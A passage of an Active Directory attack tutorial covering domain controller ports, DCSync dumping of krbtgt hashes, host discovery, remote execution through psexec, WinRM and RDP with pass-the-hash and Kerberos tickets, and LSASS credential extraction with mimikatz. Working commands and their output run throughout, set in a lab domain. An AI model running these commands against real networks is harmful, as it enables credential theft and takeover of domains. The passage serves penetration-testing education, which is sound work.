href=\"#database\">domain database<\/a>.<\/li>\n<li>445 -&gt; <a href=\"#smb\">SMB<\/a>: Used to share files between computers. Also allow RPC calls<br \/>\nthrough named pipes.<\/li>\n<li>464 -&gt; <a href=\"#kerberos\">kpasswd<\/a>: Kerberos service used to change users passwords.<\/li>\n<li>593 -&gt; <a href=\"#rpc\">RPC<\/a> over HTTP Endpoint Mapper<\/li>\n<li>636 -&gt; <a href=\"#ldap\">LDAPS<\/a>: LDAP with SSL<\/li>\n<li>3268 -&gt; <a href=\"#ldap\">LDAP<\/a> <a href=\"#global-catalog\">Global Catalog<\/a>: A service to query the Global Catalog.<\/li>\n<li>3269 -&gt; <a href=\"#ldap\">LDAPS<\/a> <a href=\"#global-catalog\">Global Catalog<\/a><\/li>\n<li>5985 -&gt; <a href=\"#winrm\">WinRM<\/a>: Service to manage the machine remotely with CIM objects or<br \/>\nPowershell remoting.<\/li>\n<li>9389 -&gt; <a href=\"#adws\">ADWS<\/a>: Web service to query\/edit the <a href=\"#database\">domain database<\/a>.<\/li>\n<li>49152-65535 <a href=\"#rpc\">RPC<\/a> Endpoints: Random RPC ports where different RPC<br \/>\nservices\/interfaces listen to clients.<\/li>\n<\/ul>\n<p>Depending on the DC configuration you can also found the port 3389 open, which<br \/>\nallows <a href=\"#rdp\">RDP<\/a> connections or <a href=\"https:\/\/docs.microsoft.com\/en-US\/troubleshoot\/windows-server\/networking\/service-overview-and-network-port-requirements\">many other services<\/a>.<\/p>\n<h4 id=\"domain-database-dumping\">\nDomain database dumping<\/h4>\n<p>Finally, in case you become the administrator of the domain, you may want to<br \/>\ndump the contents of the domain controller database in order to read some<br \/>\nsensitive data such as the <code>krbtgt<\/code> user credentials in order to create<br \/>\n<a href=\"https:\/\/en.hackndo.com\/kerberos-silver-golden-tickets\/\">Golden tickets<\/a>.<\/p>\n<p>In order to extract the contents of the database, you can log in on<br \/>\nthe domain controller and <a href=\"https:\/\/www.ired.team\/offensive-security\/credential-access-and-credential-dumping\/ntds.dit-enumeration#no-credentials-ntdsutil\">dumping the NTDS.dit file<\/a> locally with <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-r2-and-2012\/cc753343(v=ws.11)\">ntdsutil<\/a> or<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-gb\/windows-server\/administration\/windows-commands\/vssadmin\">vssadmin<\/a>, or you could perform a remote <a href=\"https:\/\/adsecurity.org\/?p=1729\">dcsync attack<\/a>, with the<br \/>\n<a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-lsadump#dcsync\">mimikatz lsadump::dsync<\/a> command or the <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/secretsdump.py\">impacket secretsdump.py<\/a> script.<\/p>\n<p>Be careful launching a DCSync attack, since if you request all the credentials<br \/>\nin a big domain, the DC that is responding could run out of memory and<br \/>\ncrash!!<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ secretsdump.py 'contoso.local\/Administrator@192.168.100.2' -just-dc-user krbtgt\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\nPassword:\n[*] Dumping Domain Credentials (domainuid:rid:lmhash:nthash)\n[*] Using the DRSUAPI method to get NTDS.DIT secrets\nkrbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8b03404a4975e7226caf6162cfccba:::\n[*] Kerberos keys grabbed\nkrbtgt:aes256-cts-hmac-sha1-96:5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162\nkrbtgt:aes128-cts-hmac-sha1-96:a268f61e103134bb7e975a146ed1f506\nkrbtgt:des-cbc-md5:0e6d79d66b4951cd\n[*] Cleaning up...<\/code><\/pre><figcaption>\nDCSync attack with secretsdump to retrieve krbtgt credentials<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"windows-computers\">\nWindows computers<\/h3>\n<p>Apart from the Domain Controllers, there are many other Windows machines in a<br \/>\ndomain, that are used both as workstation (usually Windows 10\/8\/7\/Vista\/XP) or<br \/>\nas an applications servers (usually Windows Server editions).<\/p>\n<h4 id=\"windows-computers-discovery\">\nWindows computers discovery<\/h4>\n<p>You can identify the Windows machines in a domain or network by using several<br \/>\ntechniques.<\/p>\n<p>The first option, in case you domain have credentials, could be to <a href=\"#how-to-query-the-database\">query the<br \/>\ndomain database<\/a> through <a href=\"#ldap\">LDAP<\/a>, that can give you both the computer names and even<br \/>\nthe operating system.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">~$ ldapsearch -H ldap:\/\/192.168.100.2 -x -LLL -W -D \"mahyar@contoso.local\" -b \"dc=contoso,dc=local\" \"(objectclass=computer)\" \"DNSHostName\" \"OperatingSystem\"\nEnter LDAP Password: \ndn: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local\noperatingSystem: Windows Server 2019 Standard Evaluation\ndNSHostName: dc01.contoso.local\ndn: CN=WS01-10,CN=Computers,DC=contoso,DC=local\noperatingSystem: Windows 10 Enterprise\ndNSHostName: ws01-10.contoso.local\ndn: CN=WS02-7,CN=Computers,DC=contoso,DC=local\noperatingSystem: Windows 7 Professional\ndNSHostName: WS02-7.contoso.local\ndn: CN=SRV01,CN=Computers,DC=contoso,DC=local\noperatingSystem: Windows Server 2019 Standard Evaluation\ndNSHostName: srv01.contoso.local<\/code><\/pre><figcaption>\nSearch for computers of the domain<br \/>\n<\/figcaption><\/figure>\n<p>Another techniques, in case you don&#8217;t have credentials, can involve scans of the<br \/>\nnetwork. Windows computers have several ports open by default and they are not<br \/>\nusually protected by a firewall in a domain environment.<\/p>\n<p>For example, the <a href=\"#netbios-name-service\">NetBIOS name service<\/a> listens in the port 137 and allows you to<br \/>\neven resolve the NetBIOS name from the IP. You can perform a NetBIOS scan by<br \/>\nusing a tool like <a href=\"http:\/\/www.unixwiz.net\/tools\/nbtscan.html\">nbtscan<\/a> or nmap <a href=\"https:\/\/nmap.org\/nsedoc\/scripts\/nbstat.html\">nbtstat<\/a> script.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">$ nbtscan 192.168.100.0\/24\n192.168.100.2   CONTOSODC01                    SHARING DC\n192.168.100.7   CONTOSOWS02-7                  SHARING\n192.168.100.10  CONTOSOWS01-10                 SHARING\n*timeout (normal end of scan)<\/code><\/pre><figcaption>\nNetBIOS scan<br \/>\n<\/figcaption><\/figure>\n<p>Also, a very popular service that listens in the port 445 is <a href=\"#smb\">SMB<\/a>, heavily used<br \/>\nfor Windows computers to communicate each other. You can perform an port scan to<br \/>\ndiscover Windows computers and you can even take advantage of the NTLM<br \/>\nauthentication negotiation to retrieve the machine name. You can perform an scan<br \/>\nwith <a href=\"https:\/\/github.com\/Zer1t0\/ntlm-info\">ntlm-info<\/a> or nmap <a href=\"https:\/\/nmap.org\/nsedoc\/scripts\/smb-os-discovery.html\">smb-os-discovery<\/a> script.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ ntlm-info smb 192.168.100.0\/24\nTarget: 192.168.100.2\nNbComputer: DC01\nNbDomain: CONTOSO\nDnsComputer: dc01.contoso.local\nDnsDomain: contoso.local\nDnsTree: contoso.local\nVersion: 10.0.17763\nOS: Windows 10 | Windows Server 2019 | Windows Server 2016\nTarget: 192.168.100.7\nNbComputer: WS02-7\nNbDomain: CONTOSO\nDnsComputer: ws02-7.contoso.local\nDnsDomain: contoso.local\nVersion: 6.1.7601\nOS: Windows 7 | Windows Server 2008 R2\nTarget: 192.168.100.10\nNbComputer: WS01-10\nNbDomain: CONTOSO\nDnsComputer: ws01-10.contoso.local\nDnsDomain: contoso.local\nDnsTree: contoso.local\nVersion: 10.0.19041\nOS: Windows 10 | Windows Server 2019 | Windows Server 2016<\/code><\/pre><figcaption>\nSMB scan<br \/>\n<\/figcaption><\/figure>\n<p>Finally, you can also scan for other ports like 135 (<a href=\"#rcp\">RCP<\/a>) or 139 (<a href=\"#netbios-session-service\">NetBIOS<br \/>\nsession service<\/a>) with nmap.<\/p>\n<h4 id=\"windows-computers-connection\">\nWindows computers connection<\/h4>\n<p>Once you discover other Windows machines, you may need to connect to them in<br \/>\norder grab credentials or data.<\/p>\n<p>Usually you will need to execute commands on the remote machine to perform your<br \/>\nactions. There are a few options to achieve this.<\/p>\n<h5 id=\"connecting-with-rpc-smb\">\nConnecting with RPC\/SMB<\/h5>\n<p>The first and probably the most common one is to use <a href=\"#rpc\">RPC<\/a> with <a href=\"#smb\">SMB<\/a>. This is the<br \/>\nmethod used by many known tools such as <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/psexec\">PsExec<\/a> and the impacket examples<br \/>\n<a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/psexec.py\">psexec.py<\/a>, <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/wmiexec.py\">wmiexec.py<\/a> and any other *exec.py.<\/p>\n<p>These tools usually execute commands by using some RPC interface and<br \/>\nsend\/receive the input\/output by using SMB pipes. Normally, the tools only<br \/>\nrequire the 445 port (SMB) open in order to execute commands, but some like<br \/>\n<a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/wmiexec.py\">wmiexec.py<\/a> will also need the port 135 (RPC over TCP).<\/p>\n<p>Additionally, it is possible for these tools to perform a Pass-The-Hash by using<br \/>\nthe NT or LM hash. The impacket tools have a parameter to use the NT or LM hash<br \/>\ndirectly, whereas in order to use it with PsExec, you must <a href=\"https:\/\/stealthbits.com\/blog\/passing-the-hash-with-mimikatz\/\">inject the<br \/>\nNT hash in the Windows session with mimikatz<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ psexec.py contoso.local\/mahyar@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[*] Requesting shares on 192.168.100.10.....\n[*] Found writable share ADMIN$\n[*] Uploading file WFKqIQpM.exe\n[*] Opening SVCManager on 192.168.100.10.....\n[*] Creating service AoRl on 192.168.100.10.....\n[*] Starting service AoRl.....\n[!] Press help for extra shell commands\nThe system cannot find message text for message number 0x2350 in the message file for Application.\n(c) Microsoft Corporation. All rights reserved.\nb'Not enough memory resources are available to process this command.rn'\nC:Windowssystem32&gt;whoami\nnt authoritysystem<\/code><\/pre><figcaption>\npsexec.py with a NT hash<br \/>\n<\/figcaption><\/figure>\n<p>This way you are using <a href=\"#ntlm\">NTLM<\/a> as authentication mechanism, which may not the best<br \/>\noption since in Active Directory, <a href=\"#kerberos\">Kerberos<\/a> is used by default.<\/p>\n<p>To use Kerberos you need to provide a Kerberos ticket to the mentioned tools. In<br \/>\nthe case of impacket, you can <a href=\"https:\/\/gist.github.com\/TarlogicSecurity\/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-linux\">set a ccache file to being used by impacket<\/a>,<br \/>\nwhereas in Windows you will need to <a href=\"https:\/\/gist.github.com\/TarlogicSecurity\/2f221924fef8c14a1d8e29f3cb5c5c4a#using-ticket-in-windows\">inject the ticket in the session<\/a> by using<br \/>\n<a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a> or <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a>.<\/p>\n<p>In order to get a Kerberos ticket to use, you can request one by using the user<br \/>\npassword, the NT hash (Overpass-the-Hash) or the Kerberos keys (Pass-The-Key) or<br \/>\nyou can simply steal a ticket from a <a href=\"#lsass-credentials\">Windows<\/a> or <a href=\"#linux-kerberos-tickets\">Linux<\/a> machine and use it<br \/>\n(Pass-The-Ticket).<\/p>\n<p>You should take into account that Windows and Linux machines (and the tools<br \/>\noriented to them) use different ticket file formats so you may have problems<br \/>\nmoving Linux tickets to a Windows machine or vice versa. You can convert the<br \/>\ntickets between the different formats by using <a href=\"https:\/\/github.com\/Zer1t0\/ticket_converter\">ticket_converter<\/a> or <a href=\"https:\/\/github.com\/Zer1t0\/cerbero#convert\">cerbero<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ getTGT.py contoso.local\/mahyar -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[*] Saving ticket in mahyar.ccache\n$ export KRB5CCNAME=$(pwd)\/mahyar.ccache\n$ psexec.py contoso.local\/mahyar@WS01-10 -target-ip 192.168.100.10 -k -no-pass\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[*] Requesting shares on 192.168.100.10.....\n[*] Found writable share ADMIN$\n[*] Uploading file TwIEeeqd.exe\n[*] Opening SVCManager on 192.168.100.10.....\n[*] Creating service ZQZb on 192.168.100.10.....\n[*] Starting service ZQZb.....\n[!] Press help for extra shell commands\nThe system cannot find message text for message number 0x2350 in the message file for Application.\n(c) Microsoft Corporation. All rights reserved.\nb'Not enough memory resources are available to process this command.rn'\nC:Windowssystem32&gt;<\/code><\/pre><figcaption>\npsexec.py with Kerberos authentication<br \/>\n<\/figcaption><\/figure>\n<p>When using Kerberos authentication you will need to pass as target to the tools<br \/>\nthe hostname (DNS name or NetBIOS name) of the remote machine instead of its IP.<br \/>\nThis is cause Kerberos authentication uses the hostname to identify the <a href=\"#services\">service<\/a><br \/>\nof the remote machine and provide the right ticket to authenticate against it.<\/p>\n<p>If you use the IP address you will get the following error:<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ psexec.py contoso.local\/mahyar@192.168.100.10 -k -no-pass\nImpacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)<\/code><\/pre><figcaption>\nUsing IP address with Kerberos authentication<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"connecting-with-powershell-remoting\">\nConnecting with Powershell Remoting<\/h5>\n<p>An alternative to RPC\/SMB to connect to a Windows machine is <a href=\"#powershell-remoting\">Powershell<br \/>\nRemoting<\/a>, that will allow you to get a Powershell session in the remote machine.<br \/>\nThe Powershell remoting service listens in the port 5985 and is enabled by<br \/>\ndefault in the Windows Server machines.<\/p>\n<p>You can use Powershell Remoting from Windows by using many <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/scripting\/learn\/ps101\/08-powershell-remoting?view=powershell-7.1\">CmdLets and<br \/>\nparameters<\/a> available in Powershell. From a Linux machine you can use <a href=\"https:\/\/github.com\/Hackplayers\/evil-winrm\">evil-winrm<\/a>.<\/p>\n<p>As well as in the RPC\/SMB case, you can use a password, a NT hash or a Kerberos<br \/>\nticket to connect to the target machine. With evil-winrm, you can pass them to<br \/>\nthe application as a parameters or configure the ccache file as in impacket. In<br \/>\ncase of the Powershell cmdlets, you can use a password directly, but if you have<br \/>\na Kerberos ticket or a NT hash, you will need to inject them by using <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a> or<br \/>\n<a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; .Rubeus.exe asktgt \/user:Administrator \/rc4:b73fdfe10e87b4ca5c0d957f81de6863 \/ptt\n   ______        _\n  (_____       | |\n   _____) )_   _| |__  _____ _   _  ___\n  |  __  \/| | | |  _ | ___ | | | |\/___)\n  | |   | |_| | |_) ) ____| |_| |___ |\n  |_|   |_|____\/|____\/|_____)____\/(___\/\n  v1.6.1\n[*] Action: Ask TGT\n[*] Using rc4_hmac hash: b73fdfe10e87b4ca5c0d957f81de6863\n[*] Building AS-REQ (w\/ preauth) for: 'contoso.localAdministrator'\n[+] TGT request successful!\n[*] base64(ticket.kirbi):\n      doIFQjCCBT6gAwIBBaEDAgEWooIETzCCBEthggRHMIIEQ6ADAgEFoQ8bDUNPTlRPU08uTE9DQUyiIjAg\n      oAMCAQKhGTAXGwZrcmJ0Z3QbDWNvbnRvc28ubG9jYWyjggQFMIIEAaADAgESoQMCAQKiggPzBIID7xK3\n      &lt;!--stripped--&gt;\n      ERgPMjAyMTA1MDgwMjQzMjZapxEYDzIwMjEwNTE0MTY0MzI2WqgPGw1DT05UT1NPLkxPQ0FMqSIwIKAD\n      AgECoRkwFxsGa3JidGd0Gw1jb250b3NvLmxvY2Fs\n[+] Ticket successfully imported!\n  ServiceName           :  krbtgt\/contoso.local\n  ServiceRealm          :  CONTOSO.LOCAL\n  UserName              :  Administrator\n  UserRealm             :  CONTOSO.LOCAL\n  StartTime             :  07\/05\/2021 18:43:26\n  EndTime               :  08\/05\/2021 04:43:26\n  RenewTill             :  14\/05\/2021 18:43:26\n  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable\n  KeyType               :  rc4_hmac\n  Base64(key)           :  95a1NmgYXwOmiyCa3qlplA==\nPS C:&gt; Enter-PSSession -ComputerName dc01\n[dc01]: PS C:UsersAdministratorDocuments&gt; whoami\ncontosoadministrator\n[dc01]: PS C:UsersAdministratorDocuments&gt; hostname\ndc01\n[dc01]:<\/code><\/pre><figcaption>\nUsing Powershell Remoting with Overpass-the-Hash<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"connecting-with-rdp\">\nConnecting with RDP<\/h5>\n<p>One common method to connect to a remote machine in Windows is <a href=\"#rdp\">RDP<\/a> (Remote<br \/>\nDesktop Protocol). You can use RDP from a Windows machine by using the default<br \/>\nclient &#8220;Remote Desktop Connection&#8221; (<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/mstsc\">mstsc<\/a>). From Linux there are excellent clients<br \/>\nlike <a href=\"http:\/\/www.rdesktop.org\/\">rdesktop<\/a>, <a href=\"https:\/\/www.freerdp.com\/\">freerdp<\/a> or <a href=\"https:\/\/remmina.org\/\">remmina<\/a>.<\/p>\n<p>Unlike RPC\/SMB and Powershell Remoting, RDP transmits the plain user password to the<br \/>\ntarget computer in order to cache the credentials and facilitate SSO (Single<br \/>\nSign On), as if the user was logged on its physical machine. Due to this to use<br \/>\nRDP you are required to use the user password and it is not possible to perform<br \/>\na Pass-The-Hash\u2026 by default.<\/p>\n<p>As we have mentioned, when connection through RDP <a href=\"#remoteinteractive-logon\">the credentials are cached in<br \/>\nthe target machine<\/a>, susceptible to being stolen from the lsass process with<br \/>\ntools like mimikatz. The credentials are cached in order to being reused to<br \/>\nnetwork connections from the target machine, but sometimes this is unnecessary,<br \/>\nso in <a href=\"https:\/\/docs.microsoft.com\/en-us\/archive\/blogs\/kfalde\/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2\">Windows 8.1 \/ 2012 R2 Microsoft introduced the Restricted Admin mode for<br \/>\nRPD<\/a>. When Restricted Admin mode is enabled you don&#8217;t send the plain credentials,<br \/>\nso it is possible to perform a Pass-The-Hash\/Key\/Ticket to establish an RDP<br \/>\nconnection.<\/p>\n<p>From Linux, you can <a href=\"https:\/\/www.kali.org\/blog\/passing-hash-remote-desktop\/\">use freerdp to perform a Pass-The-Hash with RDP<\/a> (you need to<br \/>\ninstall the <code>freerdp2-x11<\/code> <code>freerdp2-shadow-x11<\/code> packages instead of<br \/>\n<code>freerdp-x11<\/code> as the article said). You only need to provide the NT hash instead<br \/>\nof the password.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">xfreerdp \/u:mahyar@contoso.local \/pth:cdeae556dc28c24b5b7b14e9df5b6e21 \/v:192.168.122.143<\/code><\/pre><figcaption>\nPass-The-Hash with freerdp<br \/>\n<\/figcaption><\/figure>\n<p>On the other hand, from Windows you can <a href=\"https:\/\/shellz.club\/pass-the-hash-with-rdp-in-2019\/\">inject a NT hash or<br \/>\nKerberos ticket with mimikatz or Rubeus and then use <code>mstsc.exe<br \/>\n\/restrictedadmin<\/code><\/a> to establish a RDP connection without requiring the user<br \/>\npassword.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/rdp_restrictedadmin.png\" alt=\".\/rdp_restrictedadmin.png\" title=\".\/rdp_restrictedadmin.png\"><figcaption>\nRestricted Admin is enabled<br \/>\n<\/figcaption><\/figure>\n<figure>\n<img decoding=\"async\" src=\".\/rdp_no_restrictedadmin.png\" alt=\".\/rdp_no_restrictedadmin.png\" title=\".\/rdp_no_restrictedadmin.png\"><figcaption>\nRestricted Admin is not enabled<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"windows-computers-credentials\">\nWindows computers credentials<\/h4>\n<h5 id=\"lsass-credentials\">\nLSASS credentials<\/h5>\n<p>In a Windows machine, a common place to find credentials is the LSASS (Local<br \/>\nSecurity Authority Subsystem Service) process (<code>lsass.exe<\/code>). The LSASS process<br \/>\nis on charge of manage the security related operations of the computer,<br \/>\nincluding users authentication.<\/p>\n<p>When an user performs an <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/security\/windows-authentication\/windows-logon-scenarios#BKMK_InteractiveLogon\">interactive logon<\/a> in the computer, by accessing<br \/>\nphysically to the computer or through <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/dn579255(v=ws.11)?redirectedfrom=MSDN#remote-desktop-users\">RDP<\/a>, the user credentials get cached in<br \/>\nthe LSASS process in order to use SSO (Single Sign-On) when <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/security\/windows-authentication\/windows-logon-scenarios#BKMK_NetworkLogon\">network logon<\/a><br \/>\nwill be required to access to other domain computers.<\/p>\n<blockquote><p>Be aware that users authenticated through NTLM or Kerberos will not let cached<br \/>\ncredentials in the computer (except if Kerberos delegation is enabled).<\/p><\/blockquote>\n<p>The credentials are cached by some of the <a href=\"#windows-ssps\">SSPs<\/a> (Security Support Providers) that<br \/>\nare used by LSASS in order to provide different authentication methods. Some<br \/>\nSSPs are the following:<\/p>\n<ul>\n<li>The <a href=\"#kerberos-ssp\">Kerberos SSP<\/a> manages the Kerberos authentication and is responsible to<br \/>\nstore the tickets and Kerberos keys for the current logged users.<\/li>\n<li>The <a href=\"#ntlm-ssp\">NTLMSSP<\/a> or MSV SSP handles the NTLM authentication<br \/>\nand is responsible for storing the NTLM hashes for the current logged users.<\/li>\n<li>The <a href=\"#digest-ssp\">Digest SSP<\/a> implements the Digest Access protocol, used by HTTP<br \/>\napplications. This is the SSP that stores the cleartext user password in<br \/>\norder to calculate the digest.<\/p>\n<p>Even if the password caching is disabled by default since Windows 2008 R2, it<br \/>\nis still possible to enable the password caching by setting the<br \/>\n<code>HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigestUseLogonCredential<\/code><br \/>\nregistry entry to 1 or <a href=\"https:\/\/blog.xpnsec.com\/exploring-mimikatz-part-1\/\">patching the Digest SSP<\/a> directly in memory.<\/li>\n<\/ul>\n<p>Therefore, if we are able to access to the LSASS process memory, for which the<br \/>\n<strong>SeDebugPrivilege is required<\/strong> (usually hold by administrators) since lsass is<br \/>\nsystem process, we can retrieve the cached credentials. As we have seen, these<br \/>\ncached credentials include the <a href=\"#lm-nt-hashes\">NT hash<\/a> of the user, the <a href=\"#kerberos-keys\">Kerberos keys<\/a> and<br \/>\ntickets, and even the user password in plaintext in some old or misconfigured<br \/>\nmachines.<\/p>\n<p>The common way to extract the credentials from LSASS process is by using<br \/>\n<a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a>. We can launch mimikatz directly in the target machine, or <a href=\"https:\/\/www.deepinstinct.com\/2021\/01\/24\/lsass-memory-dumps-are-stealthier-than-ever-before\/\">dumping the<br \/>\nLSASS memory<\/a> with some tool like <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/procdump\">procdump<\/a>, <a href=\"https:\/\/lolbas-project.github.io\/lolbas\/Libraries\/Comsvcs\/\">comsvcs.dll<\/a> or <a href=\"https:\/\/www.deepinstinct.com\/2021\/02\/16\/lsass-memory-dumps-are-stealthier-than-ever-before-part-2\/\">werfault.exe<\/a> and then<br \/>\nprocess the generated memory dump with mimikatz or <a href=\"https:\/\/github.com\/skelsec\/pypykatz\">pypikatz<\/a>. It is possible also<br \/>\nto use <a href=\"https:\/\/github.com\/Hackndo\/lsassy\">lsassy<\/a> to read a dump remotely avoiding to have to download the entire<br \/>\nmemory dump, that can take several megabytes.<\/p>\n<p>To extract credentials with mimikatz, there are a few commands you should know.<br \/>\nThey will retry different secrets from the logged users:<\/p>\n<ul>\n<li><code>sekurlsa::logonpasswords<\/code>: Extracts the NT hashes and passwords.<\/li>\n<li><code>sekurlsa::ekeys<\/code>: Gets the Kerberos keys.<\/li>\n<li><code>sekurlsa::tickets<\/code>: Retrieves the Kerberos tickets stored in the machine.<\/li>\n<\/ul>\n<p>Specifically, in order to access to LSASS process memory, you need the<br \/>\n<a href=\"https:\/\/devblogs.microsoft.com\/oldnewthing\/20080314-00\/?p=23113\">SeDebugPrivilege<\/a>, that allows the user to debug processes of other users.<br \/>\nUsually only the administrators have this privilege (but if another user gets<br \/>\nthis privilege she can become administrator).<\/p>\n<p>Moreover, <strong>SeDebugPrivilege must be enabled<\/strong> in the process that tries to<br \/>\ndump the LSASS memory. By default is enabled in Powershell and disabled in CMD<br \/>\n(and therefore in their child processes). If you are launching mimikatz, you can<br \/>\nenable it by using the <code>privilege::debug<\/code> command. In other case you can launch<br \/>\nthe process with Powershell using <code>powershell.exe &lt;command&gt;<\/code>, or using some tool<br \/>\nlike <a href=\"https:\/\/github.com\/Zer1t0\/sepriv\">sepriv<\/a> to enable it in CMD.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">C:&gt;.mimikatz.exe\n  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29\n .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n ## \/  ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ##  \/ ##       &gt; https:\/\/blog.gentilkiwi.com\/mimikatz\n '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        &gt; https:\/\/pingcastle.com \/ https:\/\/mysmartlogon.com ***\/\nmimikatz # sekurlsa::logonpasswords\nERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)\nmimikatz # privilege::debug\nPrivilege '20' OK\nmimikatz # sekurlsa::logonpasswords\nAuthentication Id : 0 ; 629376 (00000000:00099a80)\nSession           : Interactive from 1\nUser Name         : Administrator\nDomain            : CONTOSO\nLogon Server      : DC01\nLogon Time        : 03\/05\/2021 12:34:17\nSID               : S-1-5-21-1372086773-2238746523-2939299801-500\n        msv :\n         [00000003] Primary\n         * Username : Administrator\n         * Domain   : CONTOSO\n         * NTLM     : b73fdfe10e87b4ca5c0d957f81de6863\n         * SHA1     : 88cbc713492c32909ee5deddee08c7e31c70d716\n         * DPAPI    : 0c1e1d360ebc8f790ff9577fcdb60d75\n        tspkg :\n        wdigest :\n         * Username : Administrator\n         * Domain   : CONTOSO\n         * Password : (null)\n        kerberos :\n         * Username : Administrator\n         * Domain   : CONTOSO.LOCAL\n         * Password : (null)\n        ssp :\n        credman :\n        cloudap :<\/code><\/pre><figcaption>\nDump credentials with mimikatz<br \/>\n<\/figcaption><\/figure>\n<p>Notwithstanding, you should be aware that LSASS can be protected against<br \/>\ncredential extraction.This could be achieved by <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/credential-guard\/credential-guard-how-it-works\">Credential Guard<\/a>, that uses the<br \/>\nhypervisor technology to store the credentials in a safer place outside of the<br \/>\noperative system. However <a href=\"https:\/\/teamhydra.blog\/2020\/08\/25\/bypassing-credential-guard\/\">Credential Guard can be bypassed<\/a>.<\/p>\n<p>Additionally, lsass.exe can be configured to run as a PPL (Protected Process<br \/>\nLight). Even if this makes more difficult the credentials extraction,<br \/>\nit <a href=\"https:\/\/www.redcursor.com.au\/blog\/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10\">can be disabled<\/a>.<\/p>\n<h5 id=\"registry credentials\">\nRegistry credentials<\/h5>\n<h6 id=\"lsa-secrets\">\nLSA secrets<\/h6>\n<p>Other location to found credentials is the registry. In the registry the<br \/>\ncomputer stores some credentials required in order to work properly. One of the<br \/>\nplaces where sensible credentials are stored is in the <a href=\"https:\/\/passcape.com\/index.php?section=docsys&amp;cmd=details&amp;id=23\">LSA secrets<\/a>.<\/p>\n<p>The LSA secrets is an special storage located in the registry which is used to<br \/>\nsave sensible data that is only accessible for the <code>SYSTEM<\/code> local account. In<br \/>\nthe disk, the LSA secrets are saved in the SECURITY <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/sysinfo\/registry-hives\">hive<\/a> file, that is encrypted<br \/>\nwith the BootKey\/SysKey (stored in the SYSTEM hive 